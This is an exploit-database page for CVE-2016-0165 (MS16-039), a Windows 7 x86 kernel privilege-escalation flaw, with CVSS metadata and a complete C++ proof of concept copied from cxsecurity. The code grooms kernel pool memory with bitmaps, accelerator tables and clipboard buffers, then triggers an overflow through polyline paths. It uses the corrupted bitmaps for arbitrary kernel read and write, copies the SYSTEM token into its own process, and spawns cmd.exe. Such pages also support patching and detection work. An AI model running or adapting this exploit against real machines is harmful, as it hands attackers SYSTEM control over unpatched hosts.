Microsoft Windows Kernel (Windows 7 x86) Local Privilege Escalation (MS16-039)
CVE
Category
Price
Severity
CVE-2016-0165
CWE-269
Not specified
High
Author
Risk
Exploitation Type
Date
tyranid
High
Local
2018-04-18
CPE
cpe:cpe:/o:microsoft:windows:7::x86
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018040147 Below is a copy:
Microsoft Windows Kernel (Windows 7 x86) Local Privilege Escalation (MS16-039) #include <Windows.h>
#include <wingdi.h>
#include <iostream>
#include <Psapi.h>
#pragma comment(lib, "psapi.lib")
#define POCDEBUG 0
#if POCDEBUG == 1
#define POCDEBUG_BREAK() getchar()
#elif POCDEBUG == 2
#define POCDEBUG_BREAK() DebugBreak()
#else
#define POCDEBUG_BREAK()
#endif
static HBITMAP hBmpHunted = NULL;
static HBITMAP hBmpExtend = NULL;
static DWORD iMemHunted = NULL;
static PDWORD pBmpHunted = NULL;
CONST LONG maxCount = 0x6666667;
CONST LONG maxLimit = 0x04E2000;
CONST LONG maxTimes = 4000;
CONST LONG tmpTimes = 5500;
static POINT point[maxCount] = { 0, 0 };
static HBITMAP hbitmap[maxTimes] = { NULL };
static HACCEL hacctab[tmpTimes] = { NULL };
CONST LONG iExtHeight = 948;
CONST LONG iExtpScan0 = 951;
static
VOID
xxCreateClipboard(DWORD Size)
{
PBYTE Buffer = (PBYTE)malloc(Size);
FillMemory(Buffer, Size, 0x41);
Buffer[Size - 1] = 0x00;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size);
CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size);
GlobalUnlock(hMem);
SetClipboardData(CF_TEXT, hMem);
}
static
BOOL xxPoint(LONG id, DWORD Value)
{
LONG iLeng = 0x00;
pBmpHunted[id] = Value;
iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
if (iLeng < 0x1000)
{
return FALSE;
}
return TRUE;
}
static
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
LONG iLeng = 0;
pBmpHunted[iExtpScan0] = addr;
iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
if (iLeng < 0x1000)
{
return FALSE;
}
iLeng = SetBitmapBits(hBmpExtend, cb, pvBits);
if (iLeng < (LONG)cb)
{
return FALSE;
}
return TRUE;
}
static
BOOL xxPointToGet(LONG addr, PVOID pvBits, DWORD cb)
{
LONG iLeng = 0;
pBmpHunted[iExtpScan0] = addr;
iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
if (iLeng < 0x1000)
{
return FALSE;
}
iLeng = GetBitmapBits(hBmpExtend, cb, pvBits);
if (iLeng < (LONG)cb)
{
return FALSE;
}
return TRUE;
}
static
VOID xxInitPoints(VOID)
{
for (LONG i = 0; i < maxCount; i++)
{
point[i].x = (i % 2) + 1;
point[i].y = 100;
}
for (LONG i = 0; i < 75; i++)
{
point[i].y = i + 1;
}
}
static
BOOL xxDrawPolyLines(HDC hdc)
{
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
{
// std::cout << ":" << (PVOID)i << std::endl;
if (!PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i)))
{
return FALSE;
}
}
return TRUE;
}
static
BOOL xxCreateBitmaps(INT nWidth, INT Height, UINT nbitCount)
{
POCDEBUG_BREAK();
for (LONG i = 0; i < maxTimes; i++)
{
hbitmap[i] = CreateBitmap(nWidth, Height, 1, nbitCount, NULL);
if (hbitmap[i] == NULL)
{
return FALSE;
}
}
return TRUE;
}
static
BOOL xxCreateAcceleratorTables(VOID)
{
POCDEBUG_BREAK();
for (LONG i = 0; i < tmpTimes; i++)
{
ACCEL acckey[0x0D] = { 0 };
hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
if (hacctab[i] == NULL)
{
return FALSE;
}
}
return TRUE;
}
static
BOOL xxDeleteBitmaps(VOID)
{
BOOL bReturn = FALSE;
POCDEBUG_BREAK();
for (LONG i = 0; i < maxTimes; i++)
{
bReturn = DeleteObject(hbitmap[i]);
hbitmap[i] = NULL;
}
return bReturn;
}
static
VOID xxCreateClipboards(VOID)
{
POCDEBUG_BREAK();
for (LONG i = 0; i < maxTimes; i++)
{
xxCreateClipboard(0xB5C);
}
}
static
BOOL xxDigHoleInAcceleratorTables(LONG b, LONG e)
{
BOOL bReturn = FALSE;
for (LONG i = b; i < e; i++)
{
bReturn = DestroyAcceleratorTable(hacctab[i]);
hacctab[i] = NULL;
}
return bReturn;
}
static
VOID xxDeleteAcceleratorTables(VOID)
{
for (LONG i = 0; i < tmpTimes; i++)
{
if (hacctab[i] == NULL)
{
continue;
}
DestroyAcceleratorTable(hacctab[i]);
hacctab[i] = NULL;
}
}
static
BOOL xxRetrieveBitmapBits(VOID)
{
pBmpHunted = static_cast<PDWORD>(malloc(0x1000));
ZeroMemory(pBmpHunted, 0x1000);
LONG index = -1;
LONG iLeng = -1;
POCDEBUG_BREAK();
for (LONG i = 0; i < maxTimes; i++)
{
iLeng = GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted);
if (iLeng < 0x2D0)
{
continue;
}
index = i;
std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl;
hBmpHunted = hbitmap[i];
break;
}
if (index == -1)
{
std::cout << "FAILED: " << (PVOID)(-1) << std::endl;
return FALSE;
}
return TRUE;
}
static
BOOL xxGetExtendPalette(VOID)
{
PVOID pBmpExtend = malloc(0x1000);
LONG index = -1;
POCDEBUG_BREAK();
for (LONG i = 0; i < maxTimes; i++)
{
if (hbitmap[i] == hBmpHunted)
{
continue;
}
if (GetBitmapBits(hbitmap[i], 0x1000, pBmpExtend) < 0x2D0)
{
continue;
}
index = i;
std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl;
hBmpExtend = hbitmap[i];
break;
}
free(pBmpExtend);
pBmpExtend = NULL;
if (index == -1)
{
std::cout << "FAILED: " << (PVOID)(-1) << std::endl;
return FALSE;
}
return TRUE;
}
static
VOID xxOutputBitmapBits(VOID)
{
POCDEBUG_BREAK();
for (LONG i = 0; i < 0x1000 / sizeof(DWORD); i++)
{
std::cout << '[';
std::cout.fill('0');
std::cout.width(4);
std::cout << i << ']' << (PVOID)pBmpHunted[i];
if (((i + 1) % 4) != 0)
{
std::cout << " ";
}
else
{
std::cout << std::endl;
}
}
std::cout.width(0);
}
static
BOOL xxFixHuntedPoolHeader(VOID)
{
DWORD szInputBit[0x100] = { 0 };
CONST LONG iTrueCbdHead = 205;
CONST LONG iTrueBmpHead = 937;
szInputBit[0] = pBmpHunted[iTrueCbdHead + 0];
szInputBit[1] = pBmpHunted[iTrueCbdHead + 1];
BOOL bReturn = FALSE;
bReturn = xxPointToHit(iMemHunted + 0x000, szInputBit, 0x08);
if (!bReturn)
{
return FALSE;
}
szInputBit[0] = pBmpHunted[iTrueBmpHead + 0];
szInputBit[1] = pBmpHunted[iTrueBmpHead + 1];
bReturn = xxPointToHit(iMemHunted + 0xb70, szInputBit, 0x08);
if (!bReturn)
{
return FALSE;
}
return TRUE;
}
static
BOOL xxFixHuntedBitmapObject(VOID)
{
DWORD szInputBit[0x100] = { 0 };
szInputBit[0] = (DWORD)hBmpHunted;
BOOL bReturn = FALSE;
bReturn = xxPointToHit(iMemHunted + 0xb78, szInputBit, 0x04);
if (!bReturn)
{
return FALSE;
}
bReturn = xxPointToHit(iMemHunted + 0xb8c, szInputBit, 0x04);
if (!bReturn)
{
return FALSE;
}
return TRUE;
}
static
DWORD_PTR
xxGetNtoskrnlAddress(VOID)
{
DWORD_PTR AddrList[500] = { 0 };
DWORD cbNeeded = 0;
EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded);
return AddrList[0];
}
static
DWORD_PTR
xxGetSysPROCESS(VOID)
{
DWORD_PTR Module = 0x00;
DWORD_PTR NtAddr = 0x00;
Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe");
NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess");
FreeLibrary((HMODULE)Module);
NtAddr = NtAddr - Module;
Module = xxGetNtoskrnlAddress();
if (Module == 0x00)
{
return 0x00;
}
NtAddr = NtAddr + Module;
if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR)))
{
return 0x00;
}
return NtAddr;
}
CONST LONG off_EPROCESS_UniqueProId = 0x0b4;
CONST LONG off_EPROCESS_ActiveLinks = 0x0b8;
static
DWORD_PTR
xxGetTarPROCESS(DWORD_PTR SysPROC)
{
if (SysPROC == 0x00)
{
return 0x00;
}
DWORD_PTR point = SysPROC;
DWORD_PTR value = 0x00;
do
{
value = 0x00;
xxPointToGet(point + off_EPROCESS_UniqueProId, &value, sizeof(DWORD_PTR));
if (value == 0x00)
{
break;
}
if (value == GetCurrentProcessId())
{
return point;
}
value = 0x00;
xxPointToGet(point + off_EPROCESS_ActiveLinks, &value, sizeof(DWORD_PTR));
if (value == 0x00)
{
break;
}
point = value - off_EPROCESS_ActiveLinks;
if (point == SysPROC)
{
break;
}
} while (TRUE);
return 0x00;
}
CONST LONG off_EPROCESS_Token = 0x0f8;
static DWORD_PTR dstToken = 0x00;
static DWORD_PTR srcToken = 0x00;
static
BOOL
xxModifyTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC)
{
if (dstPROC == 0x00 || srcPROC == 0x00)
{
return FALSE;
}
// get target process original token pointer
xxPointToGet(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));
if (dstToken == 0x00)
{
return FALSE;
}
// get system process token pointer
xxPointToGet(srcPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
if (srcToken == 0x00)
{
return FALSE;
}
// modify target process token pointer to system
xxPointToHit(dstPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
// just test if the modification is successful
DWORD_PTR tmpToken = 0x00;
xxPointToGet(dstPROC + off_EPROCESS_Token, &tmpToken, sizeof(DWORD_PTR));
if (tmpToken != srcToken)
{
return FALSE;
}
return TRUE;
}
static
BOOL
xxRecoverTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC)
{
if (dstPROC == 0x00 || srcPROC == 0x00)
{
return FALSE;
}
if (dstToken == 0x00 || srcToken == 0x00)
{
return FALSE;
}
// recover the original token pointer to target process
xxPointToHit(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));
return TRUE;
}
static
VOID xxCreateCmdLineProcess(VOID)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
static
VOID xxPrivilegeElevation(VOID)
{
BOOL bReturn = FALSE;
do
{
DWORD SysPROC = 0x0;
DWORD TarPROC = 0x0;
POCDEBUG_BREAK();
SysPROC = xxGetSysPROCESS();
if (SysPROC == 0x00)
{
break;
}
std::cout << "SYSTEM PROCESS: " << (PVOID)SysPROC << std::endl;
POCDEBUG_BREAK();
TarPROC = xxGetTarPROCESS(SysPROC);
if (TarPROC == 0x00)
{
break;
}
std::cout << "TARGET PROCESS: " << (PVOID)TarPROC << std::endl;
POCDEBUG_BREAK();
bReturn = xxModifyTokenPointer(TarPROC, SysPROC);
if (!bReturn)
{
break;
}
std::cout << "MODIFIED TOKEN TO SYSTEM!" << std::endl;
std::cout << "CREATE NEW CMDLINE PROCESS..." << std::endl;
POCDEBUG_BREAK();
xxCreateCmdLineProcess();
POCDEBUG_BREAK();
std::cout << "RECOVER TOKEN..." << std::endl;
bReturn = xxRecoverTokenPointer(TarPROC, SysPROC);
if (!bReturn)
{
break;
}
bReturn = TRUE;
} while (FALSE);
if (!bReturn)
{
std::cout << "FAILED" << std::endl;
}
}
INT POC_CVE20160165(VOID)
{
std::cout << "-------------------" << std::endl;
std::cout << "POC - CVE-2016-0165" << std::endl;
std::cout << "-------------------" << std::endl;
BOOL bReturn = FALSE;
do
{
std::cout << "INIT POINTS..." << std::endl;
xxInitPoints();
HDC hdc = GetDC(NULL);
std::cout << "GET DEVICE CONTEXT: " << hdc << std::endl;
if (hdc == NULL)
{
bReturn = FALSE;
break;
}
std::cout << "BEGIN DC PATH..." << std::endl;
bReturn = BeginPath(hdc);
if (!bReturn)
{
break;
}
std::cout << "DRAW POLYLINES..." << std::endl;
bReturn = xxDrawPolyLines(hdc);
if (!bReturn)
{
break;
}
std::cout << "ENDED DC PATH..." << std::endl;
bReturn = EndPath(hdc);
if (!bReturn)
{
break;
}
std::cout << "CREATE BITMAPS (1)..." << std::endl;
bReturn = xxCreateBitmaps(0xE34, 0x01, 8);
if (!bReturn)
{
break;
}
std::cout << "CREATE ACCTABS (1)..." << std::endl;
bReturn = xxCreateAcceleratorTables();
if (!bReturn)
{
break;
}
std::cout << "DELETE BITMAPS (1)..." << std::endl;
xxDeleteBitmaps();
std::cout << "CREATE CLIPBDS (1)..." << std::endl;
xxCreateClipboards();
std::cout << "CREATE BITMAPS (2)..." << std::endl;
bReturn = xxCreateBitmaps(0x01, 0xB1, 32);
std::cout << "DELETE ACCTABS (H)..." << std::endl;
xxDigHoleInAcceleratorTables(2000, 4000);
std::cout << "PATH TO REGION..." << std::endl;
POCDEBUG_BREAK();
HRGN hrgn = PathToRegion(hdc);
if (hrgn == NULL)
{
bReturn = FALSE;
break;
}
std::cout << "DELETE REGION..." << std::endl;
DeleteObject(hrgn);
std::cout << "LOCATE HUNTED BITMAP..." << std::endl;
bReturn = xxRetrieveBitmapBits();
if (!bReturn)
{
break;
}
// std::cout << "OUTPUT BITMAP BITS..." << std::endl;
// xxOutputBitmapBits();
std::cout << "MODIFY EXTEND BITMAP HEIGHT..." << std::endl;
POCDEBUG_BREAK();
bReturn = xxPoint(iExtHeight, 0xFFFFFFFF);
if (!bReturn)
{
break;
}
std::cout << "LOCATE EXTEND BITMAP..." << std::endl;
bReturn = xxGetExtendPalette();
if (!bReturn)
{
break;
}
if ((pBmpHunted[iExtpScan0] & 0xFFF) != 0x00000CCC)
{
bReturn = FALSE;
std::cout << "FAILED: " << (PVOID)pBmpHunted[iExtpScan0] << std::endl;
break;
}
iMemHunted = (pBmpHunted[iExtpScan0] & ~0xFFF) - 0x1000;
std::cout << "HUNTED PAGE: " << (PVOID)iMemHunted << std::endl;
std::cout << "FIX HUNTED POOL HEADER..." << std::endl;
bReturn = xxFixHuntedPoolHeader();
if (!bReturn)
{
break;
}
std::cout << "FIX HUNTED BITMAP OBJECT..." << std::endl;
bReturn = xxFixHuntedBitmapObject();
if (!bReturn)
{
break;
}
std::cout << "-------------------" << std::endl;
std::cout << "PRIVILEGE ELEVATION" << std::endl;
std::cout << "-------------------" << std::endl;
xxPrivilegeElevation();
std::cout << "-------------------" << std::endl;
std::cout << "DELETE BITMAPS (2)..." << std::endl;
xxDeleteBitmaps();
std::cout << "DELETE ACCTABS (3)..." << std::endl;
xxDeleteAcceleratorTables();
bReturn = TRUE;
} while (FALSE);
if (!bReturn)
{
std::cout << GetLastError() << std::endl;
}
std::cout << "-------------------" << std::endl;
getchar();
return 0;
}
INT main(INT argc, CHAR *argv[])
{
POC_CVE20160165();
return 0;
}
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